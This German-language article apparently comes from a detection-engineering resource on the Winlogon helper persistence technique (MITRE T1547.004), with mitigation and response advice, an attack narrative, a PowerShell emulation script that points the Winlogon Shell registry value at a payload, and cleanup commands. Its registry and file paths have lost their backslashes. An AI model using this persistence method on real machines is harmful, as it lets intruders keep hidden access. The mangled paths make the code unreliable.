T1547.004 in MITRE ATT&CK: Winlogon-Helfer erklärt

Zusammenfassung

Der Artikel erläutert die Winlogon Helper DLL-Persistenzmethode, die als T1547.004 verfolgt wird, und zeigt, wie Gegner Winlogon-Registrierungsschlüssel manipulieren, um bösartigen Code beim Benutzerlogin zu laden. Er bezieht sich auf reale Beispiele, die mit der ToyBraker-Kampagne, KamiKakaBot-Malware und einer Probe namens Mandela.exe verbunden sind. Der Schwerpunkt liegt auf Registrierungsänderungen, die die automatische Ausführung bösartiger DLLs oder ausführbarer Dateien auslösen, wenn ein System startet oder sich ein Benutzer anmeldet.

Untersuchung

Forscher dokumentierten Angreifer, die unautorisierte Benutzerkonten erstellten und Winlogon-Registrierungswerte wie LegalNoticeText, DefaultUserName, AutoLogonCount und Shell änderten, um den Zugriff zu bewahren. Malware-Proben und Einbruchsereignisse zeigten auch die Verwendung von Befehlszeilen-Tools wie net user und reg add, um bösartige Einstellungen einzugeben und PowerShell-Payloads während des Anmeldeprozesses zu starten.

Minderung

Verteidiger sollten Änderungen an Winlogon-Registrierungsschlüsseln genau überwachen und einschränken, Kontrollen mit minimalen Rechten für die Kontoerstellung anwenden und Anwendungssteuerungen verwenden, um nicht vertrauenswürdige oder unsignierte DLLs zu blockieren. Regelmäßige Überprüfungen geplanter Aufgaben, Dienste und Startorte können weiterhelfen, nicht autorisierte Persistenzänderungen zu identifizieren.

Antwort

Wenn verdächtige Aktivitäten in der Winlogon-Registrierung entdeckt werden, sollte der betroffene Endpunkt isoliert, flüchtige Beweise erfasst und die geänderten Registrierungswerte in einen bekannten, guten Zustand zurückversetzt werden. Eine forensische Untersuchung sollte dann nach zusätzlichen Persistenzmechanismen suchen und den Host auf verwandte Malware-Komponenten scannen.

Simulationsausführung

Voraussetzung: Der Telemetry & Baseline-Pre‑flight Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (T1547.004), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen erzeugen direkt die Telemetrie, die von der Erkennungslogik erwartet wird.

• Angriffs-Narrativ & Befehle:
  Ein Angreifer, der lokale Admin-Rechte erlangt hat, will Persistenz über Neustarts hinweg. Er wählt das klassische Winlogon „Shell“-Hijack, weil es vor dem Laden des Benutzer-Desktops läuft und viele Endpunkt-AV-Produkte umgeht. Die Schritte sind:

  1. Erstellen Sie eine bösartige Nutzlast (z.B., C:Tempevil.exe).
  2. Fügen Sie einen neuen Wert hinzu zu HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell weisend auf die Nutzlast.
  3. Überprüfen Sie, ob die Änderung wirksam wurde, dann ab- und anmelden, um die Ausführung zu erreichen.

• Regressionstestskript:

  #-------------------------------------------------
  # Regressionstest – Winlogon Shell Hijack (T1547.004)
  #-------------------------------------------------
  param(
      [string]$PayloadPath = "C:Tempevil.exe",
      [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt"
  )
  
  # 1. Bereitstellung einer Dummy-Nutzlast (eine einfache calc.exe-Kopie zum Testen)
  if (-not (Test-Path $PayloadPath)) {
      Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force
  }
  
  # 2. Sicherung des aktuellen Shell-Wertes (falls vorhanden)
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell
  Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8
  
  # 3. Setzen des bösartigen Shell-Wertes
  Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force
  
  Write-Host "[+] Bösartiges Winlogon-Shell auf $PayloadPath gesetzt"
  Write-Host "[+] Originalwert in $BackupPath gespeichert"

• Aufräumbefehle:

  #---------------------------------
  # Aufräumen – Wiederherstellung des Winlogon Shell
  #---------------------------------
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $backupFile = "$env:Tempwinlogon_shell_backup.txt"
  
  if (Test-Path $backupFile) {
      $original = Get-Content -Path $backupFile -Raw
      if ([string]::IsNullOrWhiteSpace($original)) {
          # Originalwert war leer – Eigenschaft entfernen
          Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue
      } else {
          Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force
      }
      Remove-Item $backupFile -Force
      Write-Host "[+] Winlogon-Shell in den Originalzustand wiederhergestellt."
  } else {
      Write-Warning "Sicherungsdatei nicht gefunden – manuelle Überprüfung erforderlich."
  }